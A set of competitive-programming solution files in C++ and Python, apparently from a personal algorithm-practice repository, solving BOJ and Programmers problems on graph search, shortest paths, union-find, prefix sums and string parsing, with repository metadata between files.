숫자 문자열과 영단어\n//2021 카카오 채용연계형 인턴십\n//2021-09-21\n#include <string>\n#include <vector>\n#include <iostream>\n\nusing namespace std;\n\nint solution(string s) {\n int answer = 0;\n string str;\n \n for(int i = 0 ; i < s.length() ; i++){\n if(!isdigit(s[i])) {\n string tmp;\n \n while(1) {\n if(tmp == \"zero\") {str += \"0\"; break;}\n else if(tmp == \"one\"){ str += \"1\"; break;}\n else if(tmp == \"two\") {str += \"2\"; break;}\n else if(tmp == \"three\") {str += \"3\"; break;}\n else if(tmp == \"four\") {str += \"4\"; break;}\n else if(tmp == \"five\") {str += \"5\"; break;}\n else if(tmp == \"six\") {str += \"6\"; break;}\n else if(tmp == \"seven\") {str += \"7\"; break;}\n else if(tmp == \"eight\") {str += \"8\"; break;}\n else if(tmp == \"nine\") {str += \"9\"; break;}\n tmp += s[i++];\n }\n i--;\n }\n else str += s[i];\n }\n \n answer = stoi(str);\n\n return answer;\n}\n\nint main(){\n int answer = solution(\"2three45sixseven\");\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.5038202404975891,"alphanum_fraction":0.5213482975959778,"avg_line_length":23.733333587646484,"blob_id":"bce3dc850f11534397611503369057a072ab11b1","content_id":"5f16e1359a4bf381ca3975cb62593dc8db1559e0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2409,"license_type":"no_license","max_line_length":79,"num_lines":90,"path":"/BOJ/Implementation/1713.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1713번: 후보 추천하기\nDATE: 2021-07-17\n*/\n#include <iostream>\n#include <map>\n#include <vector>\n#include <algorithm>\nusing namespace std;\nmap <int, pair<int, int>> m; //추천받은 학생, (추천 수, 들어온 시기)\n\nbool cmp1(const pair<int,pair<int,int>>& a, const pair<int, pair<int,int>>& b){\n if(a.second.first == b.second.first) return a.first < b.first;\n return a.second.first < b.second.first;\n}\n\nbool cmp2(const pair<int,pair<int,int>>& a, const pair<int, pair<int,int>>& b){\n if(a.second.second == b.second.second) return a.first < b.first;\n return a.second.second < b.second.second;\n}\n\nvoid insert(int student, int n){\n if(m.find(student) != m.end()){ //해당 학생이 이미 존재\n m[student].first++; \n }\n else{ //새로운 학생 삽입\n m[student].first = 1;\n m[student].second = n;\n }\n}\n\nvoid erase(int student, int n){\n if(m.find(student) != m.end()){\n m[student].first++;\n return;\n }\n\n vector<pair<int,pair<int,int>>> vec1(m.begin(), m.end());\n sort(vec1.begin(), vec1.end(), cmp1); //추천 순으로 정렬\n\n int recommend = vec1[0].second.first, cnt=0;\n\n for(auto it : vec1){\n if(it.second.first == recommend) cnt++;\n }\n\n if(cnt == 1){ //추천 횟수 제일 적은 학생 삭제\n m.erase(vec1[0].first);\n } \n else if(cnt > 1){ //추천 수 가장 적은 학생이 두 명 이상\n map<int, pair<int,int>> same_r;\n\n for(auto it : vec1){\n if(recommend == it.second.first){\n same_r[it.first].first = it.second.first; //추천 수\n same_r[it.first].second = it.second.second; //들어온 시기\n }\n }\n\n vector<pair<int,pair<int,int>>> vec2(same_r.begin(), same_r.end());\n sort(vec2.begin(), vec2.end(), cmp2); //들어온 시기 순으로 정렬\n \n m.erase(vec2[0].first);\n }\n \n insert(student, n);\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, r, student;\n cin >> n >> r;\n\n for(int i = 0 ; i < r ; i++){\n cin >> student;\n\n if(m.size() < n){ //삽입\n insert(student, i); \n }\n else if(m.size() == n){ //삭제\n erase(student, i);\n }\n }\n\n for(auto it = m.begin() ; it != m.end() ; it++){\n cout << it->first << \" \";\n }\n\n return 0;\n}"},{"alpha_fraction":0.43234673142433167,"alphanum_fraction":0.5010570883750916,"avg_line_length":23.28205108642578,"blob_id":"34a02e5b7129b0c28878e5b5688f5f45d31ab84e","content_id":"8a93a5dab894cd00baefdc3fcb1400e7ce2e31b8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":954,"license_type":"no_license","max_line_length":107,"num_lines":39,"path":"/programmers/Level 1/mock_test.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1: 모의고사\n//2021-09-30\n#include <iostream>\n#include <algorithm>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\nvector<int> vec1 = {1, 2, 3, 4, 5}, vec2 = {2, 1, 2, 3, 2, 4, 2, 5}, vec3 = {3, 3, 1, 1, 2, 2, 4, 4, 5, 5};\n\nvector<int> solution(vector<int> answers) {\n vector<int> ans(3), answer;\n int ans1 = 0, ans2 = 0, ans3 = 0;\n \n for(int i = 0 ; i < answers.size() ; i++){\n if(vec1[i % vec1.size()] == answers[i]) ans[0]++;\n if(vec2[i % vec2.size()] == answers[i]) ans[1]++;\n if(vec3[i % vec3.size()] == answers[i]) ans[2]++;\n }\n\n int max_score = max(max(ans[0], ans[1]), ans[2]);\n \n for(int i = 0 ; i < 3 ; i++){\n if(ans[i] == max_score) answer.push_back(i + 1);\n }\n \n return answer;\n}\n\nint main() {\n vector<int> answer = solution({1, 3, 2, 4, 2});\n \n for(int i = 0 ; i < answer.size() ; i++) {\n cout << answer[i];\n }\n\n return 0;\n}"},{"alpha_fraction":0.4557739496231079,"alphanum_fraction":0.48402947187423706,"avg_line_length":17.11111068725586,"blob_id":"437a0627db97ded88082bfc1c02a81ec5fb7097e","content_id":"c0cd727ed9a9da0168e6d9fc4a055abcbee9c423","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":836,"license_type":"no_license","max_line_length":48,"num_lines":45,"path":"/programmers/Level 2/k_prime_number.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: k진수에서 소수 개수 구하기\n2022 KAKAO BLIND RECRUITMENT\nDATE: 2022-04-02\n*/\n#include <string>\n#include <vector>\n#include <algorithm>\n#include <math.h>\nusing namespace std;\n\nint answer = 0;\n\nbool isPrime(long long num){\n if(num < 2) return false;\n \n for(long long i = 2 ; i <= sqrt(num) ; i++){\n if(num % i == 0) return false;\n }\n \n return true;\n}\n\nint solution(int n, int k) {\n string str, tmp = \"\";\n \n while(n > 0){\n str += n % k + 48;\n n /= k;\n }\n \n reverse(str.begin(), str.end());\n \n for(int i = 0 ; i < str.length() ; i++){\n if(str[i] == '0' && tmp.length() > 0){\n if(isPrime(stoi(tmp))) answer++;\n tmp = \"\";\n }\n else tmp += str[i];\n }\n \n if(isPrime(stoll(tmp))) answer++;\n \n return answer;\n}"},{"alpha_fraction":0.4396551847457886,"alphanum_fraction":0.4913793206214905,"avg_line_length":14.5,"blob_id":"87f4fa7eab2ac87b463e11db9d39e807fd23e95d","content_id":"f4a6b0a89f53317d1cb09fbcd9c4b7bb49aad792","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":470,"license_type":"no_license","max_line_length":58,"num_lines":30,"path":"/BOJ/Prefix Sum/2559.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2559번: 수열\nDATE: 2022-01-23\nPrefix Sum\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint arr[100001];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n priority_queue<int> pq;\n int n, k;\n \n cin >> n >> k;\n\n for(int i = 1 ; i <= n ; i++) {\n cin >> arr[i];\n arr[i] += arr[i - 1];\n\n if(i < k) continue;\n pq.push(arr[i] - arr[i - k]);\n }\n\n cout << pq.top();\n\n return 0;\n}"},{"alpha_fraction":0.5682656764984131,"alphanum_fraction":0.6125461459159851,"avg_line_length":19.923076629638672,"blob_id":"564b46a481f9ec394c5c93448434622992d536c3","content_id":"e6920be339292aa8186baa78a5d32e0c5df3322c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":289,"license_type":"no_license","max_line_length":58,"num_lines":13,"path":"/programmers/Level 1/calculate_the_shortfall.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 부족한 금액 계산하기\ndate: 2022-03-27\n*/\nusing namespace std;\n\nlong long solution(int price, int money, int count)\n{\n long long answer = 0;\n for(int i = 1 ; i <= count ; i++) answer += price * i;\n \n return answer > money ? answer - money : 0;\n}"},{"alpha_fraction":0.49501660466194153,"alphanum_fraction":0.5315614342689514,"avg_line_length":20.023256301879883,"blob_id":"e44bfec946ae96809c669eacf1867c8422db5882","content_id":"15c3827bb942147ca017b775b6fa08ee50e84e4a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":963,"license_type":"no_license","max_line_length":73,"num_lines":43,"path":"/BOJ/Binary Search/14002.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 14002번: 가장 긴 증가하는 부분 수열 4\nDATE: 2022-01-06\nUPDATE: 2022-02-21\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nvector<int> input, lis, index;\n\nvoid backtrace(int idx, int num){\n if(idx == -1) return;\n if(index[idx] == num){\n backtrace(idx - 1, num - 1);\n cout << input[idx] << \" \";\n }\n else backtrace(idx - 1, num);\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, num;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n\n int idx = lower_bound(lis.begin(), lis.end(), num) - lis.begin();\n\n if(lis.empty() || num > lis.back()) lis.push_back(num);\n else lis[idx] = num;\n\n input.push_back(num);\n index.push_back(idx); //i번째 원소가 lis 내에서 위치하는 인덱스를 저장\n }\n \n cout << lis.size() << '\\n';\n backtrace(n - 1, lis.size() - 1); \n\n return 0;\n}"},{"alpha_fraction":0.5167464017868042,"alphanum_fraction":0.5693780183792114,"avg_line_length":22.33333396911621,"blob_id":"0095d470c6ec86b9769bff40b71603e099faf1e9","content_id":"9cd3de40cc4270933af463193120dbe6ae8acf7b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":215,"license_type":"no_license","max_line_length":54,"num_lines":9,"path":"/programmers/Level 1/kth_number.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 1: K번째수\n# date: 2022-04-14\ndef solution(array, commands):\n answer = []\n \n for i, j, k in commands:\n answer.append(sorted(array[i - 1 : j])[k - 1])\n \n return answer"},{"alpha_fraction":0.44225722551345825,"alphanum_fraction":0.4881889820098877,"avg_line_length":16.340909957885742,"blob_id":"9fd7b666aafb4dc3918f3bd7ff9f79f6bdc3592c","content_id":"50ac8d7895d40a8bac935f2126ad34c419585c64","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":824,"license_type":"no_license","max_line_length":58,"num_lines":44,"path":"/BOJ/Greedy/13305.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 13305번: 주유소\nDATE: 2021-01-06\n*/\n#include <iostream>\nusing namespace std;\nlong long rate[100001], dst[100000];\n\nint main() {\n\tint check = 0; //계산할 주유소\n\tlong long n, mid_dst, sum_rate = 0;\n\n\tcin >> n;\n\n\tfor (int i = 0; i < n-1; i++) \n\t\tcin >> dst[i];\n\tfor (int i = 0; i < n; i++)\n\t\tcin >> rate[i];\n\n\twhile (1) {\n\t\tmid_dst = 0; //거리 갱신\n\n\t\tfor (int i = check; i < n - 1; i++) { \n\t\t\tif (rate[i] < rate[check]) { //현재 도시보다 가격이 싼 주유소가 있을 때 \n\t\t\t\tfor (int j = check; j < i; j++) \n\t\t\t\t\tmid_dst += dst[j];\n\t\t\t\t\n\t\t\t\tsum_rate += rate[check] * mid_dst;\n\t\t\t\tcheck = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if(i == n-2){\n\t\t\t\tfor (int j = check; j <= i; j++)\n\t\t\t\t\tmid_dst += dst[j];\n\t\t\t\n\t\t\t\tsum_rate += rate[check] * mid_dst;\n\t\t\t\tcout << sum_rate << endl;\n\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\n\t}\n}"},{"alpha_fraction":0.4728132486343384,"alphanum_fraction":0.513002336025238,"avg_line_length":15.960000038146973,"blob_id":"75c45da5598a2db0b48e20dacb7e190a13116dbb","content_id":"fe2e2051c4e3c9bfabe5018f0f2731b89723b0ab","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":433,"license_type":"no_license","max_line_length":59,"num_lines":25,"path":"/BOJ/Implementation/2075.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2075번: N번째 큰 수\nDATE: 2022-01-30\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n priority_queue<int, vector<int>, greater<int>> pq;\n int n, num;\n cin >> n;\n\n for(int i = 0 ; i < n * n ; i++) {\n cin >> num;\n pq.push(num);\n\n if(pq.size() > n) pq.pop();\n }\n\n cout << pq.top();\n\n return 0;\n}"},{"alpha_fraction":0.3746640980243683,"alphanum_fraction":0.39731284976005554,"avg_line_length":25.059999465942383,"blob_id":"6f4b1ef6925bf7e8ec59fae81e765a93d2a8ab3e","content_id":"2f774e6f283c9f1194136c14be3e352463fcf20f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2761,"license_type":"no_license","max_line_length":139,"num_lines":100,"path":"/BOJ/BFS_DFS/3055.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 3055번: 탈출\nDATE: 2021-10-12\nBFS\n*/\n#include <iostream>\n#include <queue>\n#include <vector>\nusing namespace std;\n\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\nint r, c;\nint d_x, d_y, s_x, s_y;\nvector <pair<int, int>> water;\nqueue<pair<int, int>> s, w;\nchar forest[51][51];\nint s_visited[51][51] = {0, }, w_visited[51][51] = {0, };\n\nvoid bfs() {\n for(int i = 0 ; i < water.size() ; i++) {\n w.push(make_pair(water[i].first, water[i].second));\n w_visited[water[i].first][water[i].second] = 1;\n }\n\n s.push(make_pair(s_x, s_y));\n s_visited[s_x][s_y] = 1;\n\n //종료 조건\n // 1. 고슴도치가 비버의 굴에 도착한 경우 => 거리 출력하고 끝\n // 2. 고슴도치가 더 이상 탐색을 할 수 없는 경우 => KAKTUS 출력하고 끝\n while(!s.empty()) {\n // 물 먼저 이동 (예상 경로)\n int w_size = w.size();\n\n for(int i = 0 ; i < w_size ; i++) {\n pair<int, int> cur = w.front();\n w.pop();\n\n for(int j = 0 ; j < 4 ; j++) {\n int nx = dx[j] + cur.first;\n int ny = dy[j] + cur.second;\n\n if(nx < 0 || ny < 0 || nx >= r || ny >= c || forest[nx][ny] == 'X' || forest[nx][ny] == 'D' || w_visited[nx][ny]) continue;\n w.push(make_pair(nx, ny));\n w_visited[nx][ny] = 1; \n }\n }\n\n //고슴도치 이동\n int s_size = s.size();\n\n for(int i = 0 ; i < s_size ; i++) {\n pair<int, int> cur = s.front();\n s.pop();\n\n for(int j = 0 ; j < 4 ; j++) {\n int nx = dx[j] + cur.first;\n int ny = dy[j] + cur.second;\n\n if(nx < 0 || ny < 0 || nx >= r || ny >= c || forest[nx][ny] == 'X' || w_visited[nx][ny] || s_visited[nx][ny]) continue;\n if(forest[nx][ny] == 'D') { // 목적지 도착\n cout << s_visited[cur.first][cur.second];\n return;\n }\n\n s.push(make_pair(nx, ny));\n s_visited[nx][ny] = s_visited[cur.first][cur.second] + 1; \n }\n }\n }\n\n cout << \"KAKTUS\";\n return;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n cin >> r >> c;\n\n for(int i = 0 ; i < r ; i++) {\n for(int j = 0 ; j < c ; j++) {\n cin >> forest[i][j];\n\n if(forest[i][j] == '*') water.push_back(make_pair(i, j)); // 물\n else if(forest[i][j] == 'D') { // 비버\n d_x = i;\n d_y = j;\n }\n else if(forest[i][j] == 'S') { // 고슴도치\n s_x = i;\n s_y = j;\n }\n }\n }\n\n bfs();\n\n return 0;\n}"},{"alpha_fraction":0.40682414174079895,"alphanum_fraction":0.4593175947666168,"avg_line_length":18.564102172851562,"blob_id":"efe3bd0bbdc7f8a942a32b71db60f8a13afa5f9a","content_id":"d6e8ae052d994b2db2db7899e9d241f4a1ef4558","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":770,"license_type":"no_license","max_line_length":58,"num_lines":39,"path":"/BOJ/Dynamic Programming/13398.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"WINDOWS-1256","text":"/*\nBOJ 13398¹ّ: ؟¬¼ساص 2\nDATE: 2021-07-20 \n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 100001\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int arr[MAX], left[MAX], right[MAX];\n int n, ans;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n\n ans = left[0] = arr[0];\n right[n - 1] = arr[n - 1];\n\n for(int i = 1 ; i < n ; i++){\n left[i] = max(arr[i], arr[i] + left[i-1]);\n ans = max(ans, left[i]);\n }\n\n for(int i = n - 2 ; i >= 0 ; i--){\n right[i] = max(arr[i], arr[i] + right[i + 1]);\n }\n\n for(int del = 1 ; del < n - 1 ; del++){\n ans = max(ans, left[del - 1] + right[del + 1]); \n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4465753436088562,"alphanum_fraction":0.465753436088562,"avg_line_length":21.4769229888916,"blob_id":"1bc20b7d7b2ea6934968c332034051812f58e736","content_id":"8eb7197fbb3f1fb6e8329c53fe150122d9815c37","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1460,"license_type":"no_license","max_line_length":62,"num_lines":65,"path":"/programmers/Level 3/jewelry_shopping.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 3 : Jewelry shopping\n//2020 KAKAO Internship\n//2021-05-02\n#include <string>\n#include <vector>\n#include <map>\n#include <set>\n#include <algorithm>\n#include <iostream>\nusing namespace std;\n\nvector<int> solution(vector<string> gems) {\n vector<int> answer;\n vector<string> list; \n map<string, int> m;\n set<string> s;\n int n, min=100001, ans_start=0, ans_end=0, start=0, end=0;\n \n list = gems;\n sort(list.begin(), list.end());\n list.erase(unique(list.begin(), list.end()), list.end());\n n = list.size();\n \n while(true){\n if(s.size() == n){\n int dst = end - start;\n \n if(dst < min){\n min = dst;\n ans_start = start + 1;\n ans_end = end;\n }\n \n m[gems[start]]--;\n start++;\n \n if(m[gems[start - 1]] == 0){\n s.erase(gems[start - 1]);\n }\n }\n else if(end == gems.size()){\n break;\n }\n else if(s.size() < n){\n s.insert(gems[end]);\n m[gems[end]]++;\n end++;\n }\n }\n \n answer.push_back(ans_start);\n answer.push_back(ans_end);\n \n return answer;\n}\n\nint main(){\n vector<string> gems = {\"DIA\",\"EM\",\"EM\",\"RUB\",\"DIA\"};\n vector<int> answer;\n\n answer = solution(gems);\n\n for(int i = 0 ; i < answer.size() ; i++)\n cout << answer[i] << \" \";\n}"},{"alpha_fraction":0.409431129693985,"alphanum_fraction":0.42514970898628235,"avg_line_length":20.22222137451172,"blob_id":"8b44c90ae6e6e2799c52ea45eb896cb6744c9dd8","content_id":"135a46bd87ce37b42faa64016a4804502de54869","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1404,"license_type":"no_license","max_line_length":73,"num_lines":63,"path":"/programmers/Level 2/bracket_transformation.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 괄호 변환\ndate: 2022-04-29\n*/\n#include <string>\n#include <stack>\nusing namespace std;\n\nint isBalanced(string str){ // 균형잡힌 괄호 문자열\n int left = 0, right = 0, ret = -1;\n \n for(int i = 0 ; i < str.length() ; i++){\n if(str[i] == '(') left++;\n else right++;\n \n if(left == right) return i;\n }\n}\n\nbool isCorrect(string str){ // 올바른 괄호 문자열\n stack<char> s;\n \n for(int i = 0 ; i < str.length() ; i++) {\n if(s.empty() || str[i] == '(') s.push(str[i]);\n else if(s.top() == '(') s.pop();\n }\n\n if(!s.empty()) return false;\n else return true;\n}\n\nstring solution(string p) {\n string answer = \"\";\n \n if(p == \"\") return answer;\n if(isBalanced(p) != -1 && isCorrect(p)) return p;\n \n while(1){\n int idx = isBalanced(p);\n \n string u = p.substr(0, idx + 1);\n string v = p.substr(idx + 1);\n \n if(isCorrect(u)){\n answer += u;\n p = v;\n continue;\n }\n \n string tmp = \"(\";\n tmp += solution(v) + \")\";\n \n for(int i = 1 ; i < u.length() - 1 ; i++){ // u의 첫 번째와 마지막 문제는 제외\n if(u[i] == '(') tmp += \")\";\n else tmp += \"(\";\n }\n \n answer += tmp;\n break;\n }\n \n return answer;\n}"},{"alpha_fraction":0.3757225573062897,"alphanum_fraction":0.4084778428077698,"avg_line_length":19.780000686645508,"blob_id":"c2110777b74f105714bdb42a0a1be942b01664b2","content_id":"eac9909abc770a16b9d282a6b3777387a27be5cc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1072,"license_type":"no_license","max_line_length":58,"num_lines":50,"path":"/BOJ/Graph Theory/1238_1.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1238번: 파티\nDATE: 2021-07-12\nFloyd Warshall Algorithm\n*/\n#include <iostream>\n#include <algorithm>\n#define MAX 1000\n#define INF 1e9\nusing namespace std;\n\nint arr[MAX][MAX];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m, x, start, end, t, maximum=-1;\n cin >> n >> m >> x;\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n if(i != j) arr[i][j] = INF;\n }\n }\n\n for(int i = 0 ; i < m ; i++){\n cin >> start >> end >> t;\n arr[start-1][end-1] = t;\n }\n\n for(int k = 0 ; k < n ; k++){ //거쳐가는 노드\n for(int i = 0 ; i < n ; i++){ //출발 노드\n for(int j = 0 ; j < n ; j++){ //도착 노드\n if(arr[i][k] + arr[k][j] < arr[i][j]){\n arr[i][j] = arr[i][k] + arr[k][j];\n }\n } \n }\n }\n \n int ans[n];\n\n for(int i = 0 ; i < n ; i++){\n ans[i] = arr[i][x-1] + arr[x-1][i];\n maximum = max(ans[i], maximum);\n }\n\n cout << maximum;\n\n return 0;\n}"},{"alpha_fraction":0.28817734122276306,"alphanum_fraction":0.31921181082725525,"avg_line_length":22.34482765197754,"blob_id":"a602f2502de27193c5c8cde077a9b76acb0bafcb","content_id":"b23d6d557c7ec250a748de656594f20285aae687","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2060,"license_type":"no_license","max_line_length":63,"num_lines":87,"path":"/BOJ/Implementation/14499.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 14499번: 주사위 굴리기\nDATE: 2021-07-02\n*/\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int dice[6] = {0,};\n int n, m, x, y, k, move, bottom=4, right = 1, front=3, tmp;\n cin >> n >> m >> x >> y >> k;\n\n int map[n][m];\n\n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < m ; j++){\n cin >> map[i][j];\n }\n }\n\n for(int i = 0 ; i < k ; i++){\n cin >> move;\n\n if(move == 1){ //동쪽\n y += 1;\n if(x < 0 || x >= n || y < 0 || y >= m){\n y--;\n continue;\n }\n \n tmp = bottom;\n bottom = right;\n if(tmp % 2 == 0) right = tmp +1;\n else right = tmp - 1;\n }\n else if(move == 2){ //서쪽\n y -= 1;\n if(x < 0 || x >= n || y < 0 || y >= m){\n y++;\n continue;\n }\n\n tmp = bottom;\n if(right % 2 == 0) bottom = right+1;\n else bottom = right-1;\n right = tmp;\n }\n else if(move == 3){ //북쪽\n x -= 1;\n if(x < 0 || x >= n || y < 0 || y >= m){\n x++;\n continue;\n }\n\n tmp = bottom;\n if(front % 2 == 0) bottom = front+1;\n else bottom = front - 1;\n front = tmp;\n }\n else if(move == 4){ //남쪽\n x += 1;\n if(x < 0 || x >= n || y < 0 || y >= m){\n x--;\n continue;\n }\n\n tmp = bottom;\n bottom = front;\n if(tmp % 2 == 0) front = tmp + 1;\n else front = tmp - 1;\n }\n\n if(map[x][y] == 0){\n map[x][y] = dice[bottom];\n }\n else{\n dice[bottom] = map[x][y];\n map[x][y] = 0;\n }\n \n if(bottom % 2 == 0) cout << dice[bottom+1] << '\\n';\n else cout << dice[bottom-1] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.3365384638309479,"alphanum_fraction":0.372863233089447,"avg_line_length":18.93617057800293,"blob_id":"b67149b6edefec2397d192faca8e015f289cfdd2","content_id":"7197c254335751f11d1540d9fc9e1f3394bbc0da","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":942,"license_type":"no_license","max_line_length":68,"num_lines":47,"path":"/BOJ/Graph Theory/10159.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10159번: 저울\nDATE: 2022-03-06\nFloyd-Warshall Algorithm\n*/\n#include <iostream>\n#define MAX 101\n#define INF 1e9\nusing namespace std;\n\nint arr[MAX][MAX];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n int a, b, cnt = 0;\n cin >> n >> m;\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n if(i != j) arr[i][j] = INF; \n }\n }\n\n for(int i = 0 ; i < m ; i++){\n cin >> a >> b;\n arr[a][b] = 1;\n }\n\n for(int k = 1 ; k <= n ; k++){\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n if(arr[i][k] + arr[k][j] < arr[i][j]) arr[i][j] = 1;\n }\n }\n }\n\n for(int i = 1 ; i <= n ; i++){\n for(int j = 1 ; j <= n ; j++){\n if(arr[i][j] == INF && arr[j][i] == INF) cnt++;\n }\n cout << cnt << '\\n';\n cnt = 0;\n }\n\n return 0;\n}"},{"alpha_fraction":0.5013774037361145,"alphanum_fraction":0.5247933864593506,"avg_line_length":18.904109954833984,"blob_id":"35dfb5c45f26acef53923aa1da33cc2dbbc00e24","content_id":"c65c762d40eb6d8e440796a1e83b0c98c476dc75","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1462,"license_type":"no_license","max_line_length":63,"num_lines":73,"path":"/BOJ/MST/1939.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1939번: 중량제한\n2022-01-03\nKruskal Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <queue>\n#define MAX 10001\n#define INF 1000000000\nusing namespace std;\n\nvector<pair<int, pair<int,int>>> edge;\nint parent[MAX];\n\nint getParent(int x) {\n if(parent[x] == x) return x;\n return parent[x] = getParent(parent[x]);\n}\n\nvoid unionParent(int a, int b) {\n a = getParent(a);\n b = getParent(b);\n\n if(a < b) parent[b] = a;\n else parent[a] = b;\n}\n\nint findParent(int a, int b){\n a = getParent(a);\n b = getParent(b);\n\n if(a == b) return true;\n else return false;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<int> weight;\n int n, m;\n int a, b, c;\n int start, end;\n cin >> n >> m;\n\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\n\n for(int i = 0 ; i < m ; i++) {\n cin >> a >> b >> c;\n edge.push_back({c, {a, b}}); \n edge.push_back({c, {b, a}});\n }\n\n cin >> start >> end;\n sort(edge.begin(), edge.end(), greater<>());\n\n for(int i = 0 ; i < edge.size() ; i++) {\n int a = edge[i].second.first;\n int b = edge[i].second.second;\n int c = edge[i].first;\n\n if(findParent(a, b)) continue;\n unionParent(a, b);\n weight.push_back(c);\n\n if(findParent(start, end)) {\n cout << *min_element(weight.begin(), weight.end());\n break;\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.45552146434783936,"alphanum_fraction":0.5168711543083191,"avg_line_length":12.893616676330566,"blob_id":"adf63edbab17c58b4f33ceeedb1d3c16c5c9541d","content_id":"2bab898e8c357b923e91f72c2ffc16f4d7433e02","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":662,"license_type":"no_license","max_line_length":55,"num_lines":47,"path":"/BOJ/BFS_DFS/2606.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 2606번: 바이러스\nDATE: 2021-01-18\nBFS\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\nint arr[101][101]; \nint visit[101];\nint ans=0, n, m;\n\nvoid bfs(int num) {\n\tqueue <int> q;\n\tvisit[num] = 1;\n\n\tq.push(num);\n\twhile (!q.empty()) {\n\t\tint front = q.front();\n\t\tq.pop();\n\n\t\tfor (int i = 1 ; i <= n; i++) {\n\t\t\tif (arr[front][i] && !visit[i]) {\n\t\t\t\tq.push(i);\n\t\t\t\tvisit[i] = 1;\n\t\t\t\tans++;\n\t\t\t}\n\t\t}\n\t}\n}\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\tcin >> n >> m;\n\n\tfor (int i = 0; i < m; i++) {\n\t\tint num1, num2;\n\t\tcin >> num1 >> num2;\n\t\tarr[num1][num2] = arr[num2][num1] = 1;\n\t}\n\n\tbfs(1);\n\n\tcout << ans;\n\n\treturn 